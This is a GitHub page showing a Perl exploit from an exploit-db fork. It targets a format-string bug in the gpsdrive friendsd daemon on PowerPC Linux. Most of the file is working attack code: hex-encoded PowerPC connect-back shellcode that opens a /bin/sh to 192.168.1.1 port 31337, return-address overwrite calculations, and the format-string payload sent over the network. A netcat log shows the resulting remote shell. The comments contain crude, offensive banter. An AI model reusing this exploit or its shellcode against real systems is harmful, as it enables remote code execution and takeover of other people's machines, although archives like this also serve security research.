forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy path1290.pl
More file actions
executable file
·179 lines (166 loc) · 7.1 KB
/
Copy path1290.pl
File metadata and controls
executable file
·179 lines (166 loc) · 7.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/perl -w
#
# Heh - Code by KF (kf_lists[at]digital_munition[dot]com)
# - Shellcode by Charles Stevenson
# http://www.digitalmunition.com
#
# FrSIRT 24/24 & 7/7 - Centre de Recherche on Donkey Testicles.
# Free 14 day Testicle licking trial available!
#
# IIIIIIIIII
# I::::::::I
# I::::::::I
# II::::::II
# I::::I
# I::::I ## ## ####### ######## ## ##
# I::::I ## ## ## ## ## ## ####
# EEEEEEEEEEEEEEEEEEEEEE I::::I ## ## ## ## ######## ##
# E::::::::::::::::::::E I::::I ## ## ## ## ## ## ##
# E::::::::::::::::::::E I::::I ## ## ## ## ## ## ##
# EE::::::EEEEEEEEE::::E I::::I ### ####### ## ## ##
# E:::::E EEEEEE I::::I
# E:::::E II::::::II
# E::::::EEEEEEEEEE I::::::::I
# E:::::::::::::::E and I::::::::I
# E:::::::::::::::E IIIIIIIIII
# E::::::EEEEEEEEEE ######## ####### ## ## ## ##
# E:::::E ## ## ## ## ### ## ## ##
# E:::::E EEEEEE ## ## ## ## #### ## ####
# EE::::::EEEEEEEE:::::E ######## ## ## ## ## ## ##
# E::::::::::::::::::::E ## ## ## ## ## #### ##
# E::::::::::::::::::::E ## ## ## ## ## ### ##
# EEEEEEEEEEEEEEEEEEEEEE ######## ####### ## ## ##
# (Kickin you all up in your grill piece since the early 90's)
#
# friendsd.c:367: fprintf (stderr, txt);
#
# Tested against: gpsdrive_2.09-2_powerpc.deb
#
# Crash the program and go to frame 2
# 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# (gdb) bt
# #0 0x0f67d1e0 in vfprintf () from /lib/tls/libc.so.6
# #1 0x0f67cc74 in vfprintf () from /lib/tls/libc.so.6
# #2 0x0f6825d0 in fprintf () from /lib/tls/libc.so.6
# #3 0x100024b8 in dg_echo ()
# #4 0x10002f28 in main ()
#
# Grab the address of Arglist for frame 2 and overwrite that +4
# (gdb) i f
# Stack level 2, frame at 0x7fffad70:
# pc = 0xf6825d0 in fprintf; saved pc 0x100024b8
# called by frame at 0x7fffae00, caller of frame at 0x7fff8700
# Arglist at 0x7fffad70, args:
# Locals at 0x7fffad70, Previous frame's sp in r1
#
# (gdb) x/a 0x7fffad70+4
# 0x7fffad74: 0xf6825d0 <fprintf+112> (overwrite this)
#
# animosity:/home/kfinisterre# nc -l -p 31337 -vvv
# listening on [any] 31337 ...
# 192.168.1.1: inverse host lookup failed: Unknown host
# connect to [192.168.1.1] from (UNKNOWN) [192.168.1.1] 3349
# id;
# uid=1000(kfinisterre) gid=1000(kfinisterre)
# groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(kfinisterre)
# uname -a;
# Linux animosity 2.6.11-powerpc #1 Fri May 13 15:47:19 CEST 2005 ppc GNU/Linux
#
# This is NOT reliable or robust... Find your own damn pointers to overwrite
use Net::Friends;
use Data::Dumper;
$shellcode =
"\x69\x69\x69\x69" .
# /* connect-core5.c by Charles Stevenson <core@bokeoa.com> */
"\x7c\x3f\x0b\x78" . #/*mr r31,r1*/
"\x3b\x40\x01\x0e" . #/*li r26,270*/
"\x3b\x5a\xfe\xf4" . #/*addi r26,r26,-268*/
"\x7f\x43\xd3\x78" . #/*mr r3,r26*/
"\x3b\x60\x01\x0d" . #/*li r27,269*/
"\x3b\x7b\xfe\xf4" . #/*addi r27,r27,-268*/
"\x7f\x64\xdb\x78" . #/*mr r4,r27*/
"\x7c\xa5\x2a\x78" . #/*xor r5,r5,r5*/
"\x7c\x3c\x0b\x78" . #/*mr r28,r1*/
"\x3b\x9c\x01\x0c" . #/*addi r28,r28,268*/
"\x90\x7c\xff\x08" . #/*stw r3,-248(r28)*/
"\x90\x9c\xff\x0c" . #/*stw r4,-244(r28)*/
"\x90\xbc\xff\x10" . #/*stw r5,-240(r28)*/
"\x7f\x63\xdb\x78" . #/*mr r3,r27*/
"\x3b\xdf\x01\x0c" . #/*addi r30,r31,268*/
"\x38\x9e\xff\x08" . #/*addi r4,r30,-248*/
"\x3b\x20\x01\x98" . #/*li r25,408*/
"\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7c\x78\x1b\x78" . #/*mr r24,r3*/
"\xb3\x5e\xff\x16" . #/*sth r26,-234(r30)*/
"\x7f\xbd\xea\x78" . #/*xor r29,r29,r29*/
#// Craft your exploit to poke these value in. Right now it's set
#// for port 31337 and ip 192.168.1.1. Here's an example
#// core@morpheus:~$ printf "0x%02x%02x\n0x%02x%02x\n" 192 168 1 1
#// 0xc0a8
#// 0x0101
"\x63\xbd" . # /* PORT # */
"\x7a\x69" . #/*ori r29,r29,31337*/
"\xb3\xbe\xff\x18" . #/*sth r29,-232(r30)*/
"\x3f\xa0" . # /*IP(A.B) */
#"\x42\x07" . # wtf is this?
"\xc0\xa8" . # /*lis r29,-16216*/
"\x63\xbd" . # /*IP(C.D) */
#"\xa1\x39" . # wtf is this?
"\x01\x01" . # /*ori r29,r29,257*/
"\x93\xbe\xff\x1a" . #/*stw r29,-230(r30)*/
"\x93\x1c\xff\x08" . #/*stw r24,-248(r28)*/
"\x3a\xde\xff\x16" . #/*addi r22,r30,-234*/
"\x92\xdc\xff\x0c" . #/*stw r22,-244(r28)*/
"\x3b\xa0\x01\x1c" . #/*li r29,284*/
"\x38\xbd\xfe\xf4" . #/*addi r5,r29,-268*/
"\x90\xbc\xff\x10" . #/*stw r5,-240(r28)*/
"\x7f\x20\x16\x70" . #/*srawi r0,r25,2*/
"\x7c\x7a\xda\x14" . #/*add r3,r26,r27*/
"\x38\x9c\xff\x08" . #/*addi r4,r28,-248*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7f\x03\xc3\x78" . #/*mr r3,r24*/
"\x7c\x84\x22\x78" . #/*xor r4,r4,r4*/
"\x3a\xe0\x01\xf8" . #/*li r23,504*/
"\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"\x7f\x03\xc3\x78" . #/*mr r3,r24*/
"\x7f\x64\xdb\x78" . #/*mr r4,r27*/
"\x7e\xe0\x1e\x70" . #/*srawi r0,r23,3*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
#// comment out the next 4 lines to save 16 bytes and lose stderr
#//"\x7f\x03\xc3\x78" /*mr r3,r24*/
#//"\x7f\x44\xd3\x78" /*mr r4,r26*/
#//"\x7e\xe0\x1e\x70" /*srawi r0,r23,3*/
#//"\x44\xde\xad\xf2" /*.long0x44deadf2*/
"\x7c\xa5\x2a\x79" . #/*xor. r5,r5,r5*/
"\x42\x40\xff\x35" . #/*bdzl+ 10000454<main>*/
"\x7f\x08\x02\xa6" . #/*mflr r24*/
"\x3b\x18\x01\x34" . #/*addi r24,r24,308*/
"\x98\xb8\xfe\xfb" . #/*stb r5,-261(r24)*/ /* KF / Core / Ghandi mojo */
"\x38\x78\xfe\xf4" . #/*addi r3,r24,-268*/
"\x90\x61\xff\xf8" . #/*stw r3,-8(r1)*/
"\x38\x81\xff\xf8" . #/*addi r4,r1,-8*/
"\x90\xa1\xff\xfc" . #/*stw r5,-4(r1)*/
"\x3b\xc0\x01\x60" . #/*li r30,352*/
"\x7f\xc0\x2e\x70" . #/*srawi r0,r30,5*/
"\x44\xde\xad\xf2" . #/*.long0x44deadf2*/
"/bin/shZ"; # /* Z will become NULL */
$name = 'aaaaaaaa-aaaa';
$writeaddr = 0x7fffad74; # Saved ret in frame 2 Arglist+4 (inside gdb)
$writeaddr = 0x7fffad94; # (outside gdb) Pladow! Kickin fools all up in the grill piece.
$addy = pack('l', $writeaddr);
$addy2 = pack('l', $writeaddr+2);
#$instr = 0x7fffae84; # Shellcode (inside gdb)
$instr = 0x7fffaea4; # Shellcode (outside gdb)
$lo = ($instr >> 0) & 0xffff;
$hi = ($instr >> 16) & 0xffff;
$hi = $hi - 0x4e;
$lo = (0x10000 + $lo) - $hi - 0x50;
#$hi = 1; $lo =1;
$dir = "$addy$addy2|%." . $hi . "d|%28\$hn|%." . $lo . "d|%29\$hn$shellcode";
$friends = Net::Friends->new(shift || 'localhost');
$friends->report(name => $name, lat => '1111', lon => '2222', speed => '3333', dir => $dir);
print Dumper($friends->query);
# P.S. Fsck drow! And did I mention k-otick blows! Gimme some freedom fries you bastards!
# milw0rm.com [2005-11-04]